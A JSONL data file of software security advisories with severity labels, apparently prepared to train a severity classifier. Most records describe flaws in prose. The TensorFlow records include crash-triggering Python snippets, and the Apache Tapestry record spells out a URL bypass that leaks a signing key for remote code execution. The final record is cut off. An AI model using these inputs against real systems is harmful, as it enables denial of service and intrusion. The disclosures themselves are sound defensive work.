-{"id": "da9ee58f4133d652d1d2", "text": "Reflected XSS from the callback handler's error query parameter\n\n### Overview\n\nVersions before and including `1.4.1` are vulnerable to reflected XSS.  An attacker can execute arbitrary code by providing an XSS payload in the `error` query parameter which is then processed by the callback handler as an error message.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `@auth0/nextjs-auth0` version `1.4.1` or lower **unless** you are using custom error handling that does not return the error message in an HTML response.\n\n### How to fix that?\nUpgrade to version `1.4.2`.\n\n### Will this update impact my users?\nThe fix adds basic HTML escaping to the error message and it should not impact your users.\n\n### Credit\n\nhttps://github.com/inian\nhttps://github.com/git-ishanpatel", "text_raw": "Reflected XSS from the callback handler's error query parameter\n\n[Severity: HIGH]\n\n### Overview\n\nVersions before and including `1.4.1` are vulnerable to reflected XSS.  An attacker can execute arbitrary code by providing an XSS payload in the `error` query parameter which is then processed by the callback handler as an error message.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `@auth0/nextjs-auth0` version `1.4.1` or lower **unless** you are using custom error handling that does not return the error message in an HTML response.\n\n### How to fix that?\nUpgrade to version `1.4.2`.\n\n### Will this update impact my users?\nThe fix adds basic HTML escaping to the error message and it should not impact your users.\n\n### Credit\n\nhttps://github.com/inian\nhttps://github.com/git-ishanpatel", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "eaa3f9fae7a13b7cc6b9", "text": "Division by 0 in `FractionalAvgPool`\n\n### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.FractionalAvgPool`:\n\n```python\nimport tensorflow as tf\n\nvalue = tf.constant([60], shape=[1, 1, 1, 1], dtype=tf.int32)\npooling_ratio = [1.0, 1.0000014345305555, 1.0, 1.0]\npseudo_random = False\noverlapping = False\ndeterministic = False\nseed = 0\nseed2 = 0\n\ntf.raw_ops.FractionalAvgPool(\n  value=value, pooling_ratio=pooling_ratio, pseudo_random=pseudo_random,\n  overlapping=overlapping, deterministic=deterministic, seed=seed, seed2=seed2)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L85-L89) computes a divisor quantity by dividing two user controlled values:\n\n```cc                     \nfor (int i = 0; i < tensor_in_and_out_dims; ++i) {\n  output_size[i] = static_cast<int>(std::floor(input_size[i] / pooling_ratio_[i]));\n  DCHECK_GT(output_size[i], 0); \n} \n```\n\nThe user controls the values of `input_size[i]` and `pooling_ratio_[i]` (via the `value.shape()` and `pooling_ratio` arguments). If the value in `input_size[i]` is smaller than the `pooling_ratio_[i]`, then the floor operation results in `output_size[i]` being 0. The `DCHECK_GT` line is a no-op outside of debug mode, so in released versions of TF this does not trigger.\n\nLater, these computed values [are used as arguments](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L96-L99) to [`GeneratePoolingSequence`](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_pool_common.cc#L100-L108). There, the first computation is a division in a modulo operation:\n\n```cc\nstd::vector<int64> GeneratePoolingSequence(int input_length, int output_length,\n                                           GuardedPhiloxRandom* generator,\n                                           bool pseudo_random) {\n  ...\n  if (input_length % output_length == 0) {\n    diff = std::vector<int64>(output_length, input_length / output_length);\n  }\n  ...\n}\n```\n\nSince `output_length` can be 0, this results in runtime crashing.\n\n### Patches\nWe have patched the issue in GitHub commit [548b5eaf23685d86f722233d8fbc21d0a4aecb96](https://github.com/tensorflow/tensorflow/commit/548b5eaf23685d86f722233d8fbc21d0a4aecb96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Division by 0 in `FractionalAvgPool`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.FractionalAvgPool`:\n\n```python\nimport tensorflow as tf\n\nvalue = tf.constant([60], shape=[1, 1, 1, 1], dtype=tf.int32)\npooling_ratio = [1.0, 1.0000014345305555, 1.0, 1.0]\npseudo_random = False\noverlapping = False\ndeterministic = False\nseed = 0\nseed2 = 0\n\ntf.raw_ops.FractionalAvgPool(\n  value=value, pooling_ratio=pooling_ratio, pseudo_random=pseudo_random,\n  overlapping=overlapping, deterministic=deterministic, seed=seed, seed2=seed2)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L85-L89) computes a divisor quantity by dividing two user controlled values:\n\n```cc                     \nfor (int i = 0; i < tensor_in_and_out_dims; ++i) {\n  output_size[i] = static_cast<int>(std::floor(input_size[i] / pooling_ratio_[i]));\n  DCHECK_GT(output_size[i], 0); \n} \n``` \n    \nThe user controls the values of `input_size[i]` and `pooling_ratio_[i]` (via the `value.shape()` and `pooling_ratio` arguments). If the value in `input_size[i]` is smaller than the `pooling_ratio_[i]`, then the floor operation results in `output_size[i]` being 0. The `DCHECK_GT` line is a no-op outside of debug mode, so in released versions of TF this does not trigger.\n\nLater, these computed values [are used as arguments](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L96-L99) to [`GeneratePoolingSequence`](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_pool_common.cc#L100-L108). There, the first computation is a division in a modulo operation:\n\n```cc\nstd::vector<int64> GeneratePoolingSequence(int input_length, int output_length,\n                                           GuardedPhiloxRandom* generator,\n                                           bool pseudo_random) {\n  ...\n  if (input_length % output_length == 0) {\n    diff = std::vector<int64>(output_length, input_length / output_length);\n  }\n  ...\n}\n```\n\nSince `output_length` can be 0, this results in runtime crashing.\n\n### Patches\nWe have patched the issue in GitHub commit [548b5eaf23685d86f722233d8fbc21d0a4aecb96](https://github.com/tensorflow/tensorflow/commit/548b5eaf23685d86f722233d8fbc21d0a4aecb96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "dbc7b23f12bb34fb2890", "text": "ASP.NET Core allow an elevation of privilege\n\nASP.NET Core 1.0. 1.1, and 2.0 allow an elevation of privilege vulnerability due to how web applications that are created from templates validate web requests, aka \"ASP.NET Core Elevation Of Privilege Vulnerability\".", "text_raw": "ASP.NET Core allow an elevation of privilege\n\n[Severity: HIGH]\n\nASP.NET Core 1.0. 1.1, and 2.0 allow an elevation of privilege vulnerability due to how web applications that are created from templates validate web requests, aka \"ASP.NET Core Elevation Of Privilege Vulnerability\".", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "1b1a7c5ef171890cc0a9", "text": "A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host\n\n### Impact\nThe vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21349](https://x-stream.github.io/CVE-2021-21349.html).\n\n### Credits\nThe vulnerability was discovered and reported by threedr3am.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21349](https://x-stream.github.io/CVE-2021-21349.html).\n\n### Credits\nThe vulnerability was discovered and reported by threedr3am.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "b88bff7dd98530b86c46", "text": "Directory Traversal in isomorphic-git\n\nisomorphic-git before 1.8.2 allows Directory Traversal via a crafted repository.", "text_raw": "Directory Traversal in isomorphic-git\n\n[Severity: MEDIUM]\n\nisomorphic-git before 1.8.2 allows Directory Traversal via a crafted repository.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "e5f9883d80776f639967", "text": "FluxBB 1.5.3 Multiple Remote Vulnerabilities", "text_raw": "FluxBB 1.5.3 Multiple Remote Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-07-29", "split": "train"}
-{"id": "7e672254e6ba71e29fa8", "text": "Apache Airflow vulnerable to XSS\n\nIn Apache Airflow 1.8.2 and earlier, an experimental Airflow feature displayed authenticated cookies, as well as passwords to databases used by Airflow. An attacker who has limited access to airflow, weather it be via XSS or by leaving a machine unlocked can exfil all credentials from the system.", "text_raw": "Apache Airflow vulnerable to XSS\n\n[Severity: CRITICAL]\n\nIn Apache Airflow 1.8.2 and earlier, an experimental Airflow feature displayed authenticated cookies, as well as passwords to databases used by Airflow. An attacker who has limited access to airflow, weather it be via XSS or by leaving a machine unlocked can exfil all credentials from the system.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-25", "split": "train"}
-{"id": "6c68f7d482e9c59606a0", "text": "Malicious Package in asinc\n\nAll versions of `asinc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in asinc\n\n[Severity: CRITICAL]\n\nAll versions of `asinc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "ce69ab330e5b5d1d4736", "text": "actionpack Improper Input Validation vulnerability\n\n`active_support/core_ext/hash/conversions.rb` in Ruby on Rails before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 does not properly restrict casts of string values, which allows remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) involving nested XML entity references, by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion.", "text_raw": "actionpack Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\n`active_support/core_ext/hash/conversions.rb` in Ruby on Rails before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 does not properly restrict casts of string values, which allows remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) involving nested XML entity references, by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "414ba4d8751dfd2c4751", "text": "Crash in `max_pool3d` when size argument is 0 or negative\n\n### Impact\nThe Keras pooling layers can trigger a segfault if the size of the pool is 0 or if a dimension is negative:\n\n```python\nimport tensorflow as tf\n\npool_size = [2, 2, 0]\nlayer = tf.keras.layers.MaxPooling3D(strides=1, pool_size=pool_size)\ninput_tensor = tf.random.uniform([3, 4, 10, 11, 12], dtype=tf.float32)\nres = layer(input_tensor)\n```\n\nThis is due to the TensorFlow's implementation of pooling operations where the values in the sliding window are not checked to be strictly positive.\n\n### Patches\nWe have patched the issue in GitHub commit [12b1ff82b3f26ff8de17e58703231d5a02ef1b8b](https://github.com/tensorflow/tensorflow/commit/12b1ff82b3f26ff8de17e58703231d5a02ef1b8b) (merging [#51975](https://github.com/tensorflow/tensorflow/pull/51975)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/51936).", "text_raw": "Crash in `max_pool3d` when size argument is 0 or negative\n\n[Severity: MEDIUM]\n\n### Impact\nThe Keras pooling layers can trigger a segfault if the size of the pool is 0 or if a dimension is negative: \n\n```python\nimport tensorflow as tf\n\npool_size = [2, 2, 0]\nlayer = tf.keras.layers.MaxPooling3D(strides=1, pool_size=pool_size)\ninput_tensor = tf.random.uniform([3, 4, 10, 11, 12], dtype=tf.float32)\nres = layer(input_tensor)\n```\n\nThis is due to the TensorFlow's implementation of pooling operations where the values in the sliding window are not checked to be strictly positive.\n\n### Patches\nWe have patched the issue in GitHub commit [12b1ff82b3f26ff8de17e58703231d5a02ef1b8b](https://github.com/tensorflow/tensorflow/commit/12b1ff82b3f26ff8de17e58703231d5a02ef1b8b) (merging [#51975](https://github.com/tensorflow/tensorflow/pull/51975)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/51936).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "673446f34bb02a85a668", "text": "DALIM SOFTWARE ES Core 5.0 build 7184.1 Multiple Remote File Disclosures", "text_raw": "DALIM SOFTWARE ES Core 5.0 build 7184.1 Multiple Remote File Disclosures\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-08-09", "split": "train"}
-{"id": "fe67bf2ed25a65d282d7", "text": "Dell SonicWALL Global Management System GMS 8.1 Adobe Flex SOP Bypass", "text_raw": "Dell SonicWALL Global Management System GMS 8.1 Adobe Flex SOP Bypass\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-12-29", "split": "train"}
-{"id": "59dd275ad5b3a9e731e8", "text": "gtk2 vulnerable to Use of Externally-Controlled Format String\n\nFormat string vulnerability in the `mdiag_initialize` function in `gtk/src/rbgtkmessagedialog.c` in Ruby-GNOME 2 (aka Ruby/Gnome2) 0.16.0, and SVN versions before 20071127, allows context-dependent attackers to execute arbitrary code via format string specifiers in the message parameter.", "text_raw": "gtk2 vulnerable to Use of Externally-Controlled Format String\n\n[Severity: MEDIUM]\n\nFormat string vulnerability in the `mdiag_initialize` function in `gtk/src/rbgtkmessagedialog.c` in Ruby-GNOME 2 (aka Ruby/Gnome2) 0.16.0, and SVN versions before 20071127, allows context-dependent attackers to execute arbitrary code via format string specifiers in the message parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "693903133cf528047805", "text": "Prototype Pollution in pez\n\nAll versions of `pez` are vulnerable to Prototype Pollution. A multipart payload can be constructed in a way that one of the parts’ content can be set as the entire payload object’s prototype. If this prototype contains data, it may bypass other validation rules which enforce access and privacy. If this prototype evaluates to null, it can cause unhandled exceptions when the request payload is accessed.\n\n## Recommendation\n\nThis package is deprecated and is now maintained as `@hapi/pez`. Please update your dependencies to use `@hapi/pez`.", "text_raw": "Prototype Pollution in pez\n\n[Severity: HIGH]\n\nAll versions of `pez` are vulnerable to Prototype Pollution. A multipart payload can be constructed in a way that one of the parts’ content can be set as the entire payload object’s prototype. If this prototype contains data, it may bypass other validation rules which enforce access and privacy. If this prototype evaluates to null, it can cause unhandled exceptions when the request payload is accessed.\n\n\n## Recommendation\n\nThis package is deprecated and is now maintained as `@hapi/pez`. Please update your dependencies to use `@hapi/pez`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "8b571c6ae90635ca5284", "text": "Malicious Package in aysnc\n\nAll versions of `aysnc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in aysnc\n\n[Severity: CRITICAL]\n\nAll versions of `aysnc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "c5a5a7a064d097d85878", "text": "Denial of Service in protobufjs\n\nWithdrawn: Duplicate of GHSA-762f-c2wg-m8c8", "text_raw": "Denial of Service in protobufjs\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of GHSA-762f-c2wg-m8c8", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "9a4877aec20a0eeb0d66", "text": "Prototype Pollution in merge-deep\n\nVersions of `merge-deep` before 3.0.1 are vulnerable to prototype pollution via merging functions.\n\n## Recommendation\n\nUpdate to version 3.0.1 or later.", "text_raw": "Prototype Pollution in merge-deep\n\n[Severity: HIGH]\n\nVersions of `merge-deep` before 3.0.1 are vulnerable to prototype pollution via merging functions.\n\n\n## Recommendation\n\nUpdate to version 3.0.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "1b2fa8aa1c4d1a76f142", "text": "CRLF injection in urllib3\n\nurllib3 before 1.25.9 allows CRLF injection if the attacker controls the HTTP request method, as demonstrated by inserting CR and LF control characters in the first argument of `putrequest()`. NOTE: this is similar to CVE-2020-26116.", "text_raw": "CRLF injection in urllib3\n\n[Severity: MEDIUM]\n\nurllib3 before 1.25.9 allows CRLF injection if the attacker controls the HTTP request method, as demonstrated by inserting CR and LF control characters in the first argument of `putrequest()`. NOTE: this is similar to CVE-2020-26116.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "713c87fe53b0a1a0c879", "text": "Cross-site scripting in Bleach\n\n### Impact\n\nA [mutation XSS](https://cure53.de/fp170.pdf) affects users calling `bleach.clean` with all of:\n\n* `svg` or `math` in the allowed tags\n* `p` or `br` in allowed tags\n* `style`, `title`, `noscript`, `script`, `textarea`, `noframes`, `iframe`, or `xmp` in allowed tags\n* the keyword argument `strip_comments=False`\n\nNote: none of the above tags are in the default allowed tags and `strip_comments` defaults to `True`.\n\n### Patches\n\nUsers are encouraged to upgrade to bleach v3.3.0 or greater.\n\nNote: bleach v3.3.0 introduces a breaking change to escape HTML comments by default.\n\n### Workarounds\n\n* modify `bleach.clean` calls to at least one of:\n  * not allow the `style`, `title`, `noscript`, `script`, `textarea`, `noframes`, `iframe`, or `xmp` tag\n  * not allow `svg` or `math` tags\n  * not allow `p` or `br` tags\n  * set `strip_comments=True`\n\n* A strong [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) without `unsafe-inline` and `unsafe-eval` [`script-src`s](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src)) will also help mitigate the risk.\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=1689399\n* https://advisory.checkmarx.net/advisory/CX-2021-4303\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23980\n* https://cure53.de/fp170.pdf\n\n### Credits\n\n* Reported by [Yaniv Nizry](https://twitter.com/ynizry) from the CxSCA AppSec group at Checkmarx\n* Additional eject tags not mentioned in the original advisory and the CSP mitigation line being truncated in the revised advisory reported by [Michał Bentkowski](https://twitter.com/SecurityMB) at Securitum\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue at [https://github.com/mozilla/bleach/issues](https://github.com/mozilla/bleach/issues)\n* Email us at [security@mozilla.org](mailto:security@mozilla.org)", "text_raw": "Cross-site scripting in Bleach\n\n[Severity: MEDIUM]\n\n### Impact                                                                                                                                                                                                                                                    \n\nA [mutation XSS](https://cure53.de/fp170.pdf) affects users calling `bleach.clean` with all of:\n\n* `svg` or `math` in the allowed tags\n* `p` or `br` in allowed tags\n* `style`, `title`, `noscript`, `script`, `textarea`, `noframes`, `iframe`, or `xmp` in allowed tags\n* the keyword argument `strip_comments=False`\n\nNote: none of the above tags are in the default allowed tags and `strip_comments` defaults to `True`.\n\n### Patches\n\nUsers are encouraged to upgrade to bleach v3.3.0 or greater.\n\nNote: bleach v3.3.0 introduces a breaking change to escape HTML comments by default.\n\n### Workarounds\n\n* modify `bleach.clean` calls to at least one of:\n  * not allow the `style`, `title`, `noscript`, `script`, `textarea`, `noframes`, `iframe`, or `xmp` tag\n  * not allow `svg` or `math` tags\n  * not allow `p` or `br` tags\n  * set `strip_comments=True`\n\n* A strong [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) without `unsafe-inline` and `unsafe-eval` [`script-src`s](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src)) will also help mitigate the risk.\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=1689399\n* https://advisory.checkmarx.net/advisory/CX-2021-4303\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23980\n* https://cure53.de/fp170.pdf\n\n### Credits\n\n* Reported by [Yaniv Nizry](https://twitter.com/ynizry) from the CxSCA AppSec group at Checkmarx\n* Additional eject tags not mentioned in the original advisory and the CSP mitigation line being truncated in the revised advisory reported by [Michał Bentkowski](https://twitter.com/SecurityMB) at Securitum\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue at [https://github.com/mozilla/bleach/issues](https://github.com/mozilla/bleach/issues)\n* Email us at [security@mozilla.org](mailto:security@mozilla.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-02", "split": "train"}
-{"id": "5beb5c4802e5cde6dc7e", "text": "Malicious Package in js-shq3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-shq3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "be791538491ae7f57bb0", "text": "Cross-Site Scripting in backbone\n\nAffected versions of `backbone` are vulnerable to cross-site scripting when users are allowed to supply input to the `Model#Escape` function, and the output is then written to the DOM.\n\nThe vulnerability occurs as a result of the regular expression used to encode metacharacters failing to take HTML Entities such as `&#60;` into account.\n\n## Recommendation\n\nUpdate to version 0.5.0 or later.", "text_raw": "Cross-Site Scripting in backbone\n\n[Severity: MEDIUM]\n\nAffected versions of `backbone` are vulnerable to cross-site scripting when users are allowed to supply input to the `Model#Escape` function, and the output is then written to the DOM. \n\nThe vulnerability occurs as a result of the regular expression used to encode metacharacters failing to take HTML Entities such as `&#60;` into account.\n\n\n## Recommendation\n\nUpdate to version 0.5.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "768606f8efaff116269f", "text": "Potential XSS in jQuery dependency in Mirador\n\n### Impact\nMirador users less than v3.0.0 (alpha-rc) versions that have an unpatched jQuery. When adopters update jQuery they will find some of Mirador functionality to be broken.\n\n### Patches\nMirador adopters should update to v3.0.0, no updates exist for v2.x releases.\n\n### Workarounds\nYes, Mirador users could fork and create their own custom build of Mirador and make the bug fixes themselves.\n\n### References\nhttps://github.com/advisories/GHSA-gxr4-xjj5-5px2\nhttps://github.com/advisories/GHSA-jpcq-cgw6-v4j6\n\nhttps://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\nhttps://jquery.com/upgrade-guide/3.5/", "text_raw": "Potential XSS in jQuery dependency in Mirador\n\n[Severity: MEDIUM]\n\n### Impact\nMirador users less than v3.0.0 (alpha-rc) versions that have an unpatched jQuery. When adopters update jQuery they will find some of Mirador functionality to be broken.\n\n### Patches\nMirador adopters should update to v3.0.0, no updates exist for v2.x releases.\n\n### Workarounds\nYes, Mirador users could fork and create their own custom build of Mirador and make the bug fixes themselves.\n\n### References\nhttps://github.com/advisories/GHSA-gxr4-xjj5-5px2\nhttps://github.com/advisories/GHSA-jpcq-cgw6-v4j6\n\n\nhttps://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\nhttps://jquery.com/upgrade-guide/3.5/", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-18", "split": "train"}
-{"id": "071d962039460d344a01", "text": "Cross-Site Scripting in Query Generator & Query View\n\n### Problem\nFailing to properly encode error messages, the components _QueryGenerator_ and _QueryView_ are vulnerable to both reflected and persistent cross-site scripting. A valid backend user account having administrator privileges is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 8.7.41 ELTS, 9.5.28, 10.4.18, 11.3.1 that fix the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 security team member Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-010](https://typo3.org/security/advisory/typo3-core-sa-2021-010)", "text_raw": "Cross-Site Scripting in Query Generator & Query View\n\n[Severity: MEDIUM]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N/E:F/RL:O/RC:C` (4.5)\n\n### Problem\nFailing to properly encode error messages, the components _QueryGenerator_ and _QueryView_ are vulnerable to both reflected and persistent cross-site scripting. A valid backend user account having administrator privileges is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 8.7.41 ELTS, 9.5.28, 10.4.18, 11.3.1 that fix the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 security team member Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-010](https://typo3.org/security/advisory/typo3-core-sa-2021-010)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-22", "split": "train"}
-{"id": "5fd15839ddba9d768f75", "text": "Remote code execution in Apache Tapestry\n\nA critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. An attacker was able to download the file `AppModule.class` by requesting the URL `http://localhost:8080/assets/something/services/AppModule.class` which contains a HMAC secret key. The fix for that bug was a blacklist filter that checks if the URL ends with `.class`, `.properties` or `.xml`. Bypass: Unfortunately, the blacklist solution can simply be bypassed by appending a `/` at the end of the URL: `http://localhost:8080/assets/something/services/AppModule.class/` The slash is stripped after the blacklist check and the file `AppModule.class` is loaded into the response. This class usually contains the HMAC secret key which is used to sign serialized Java objects. With the knowledge of that key an attacker can sign a Java gadget chain that leads to RCE (e.g. CommonsBeanUtils1 from ysoserial). Solution for this vulnerability: * For Apache Tapestry 5.4.0 to 5.6.2, upgrade to 5.6.3 or later. * For Apache Tapestry 5.7.0, upgrade to 5.7.1 or later.", "text_raw": 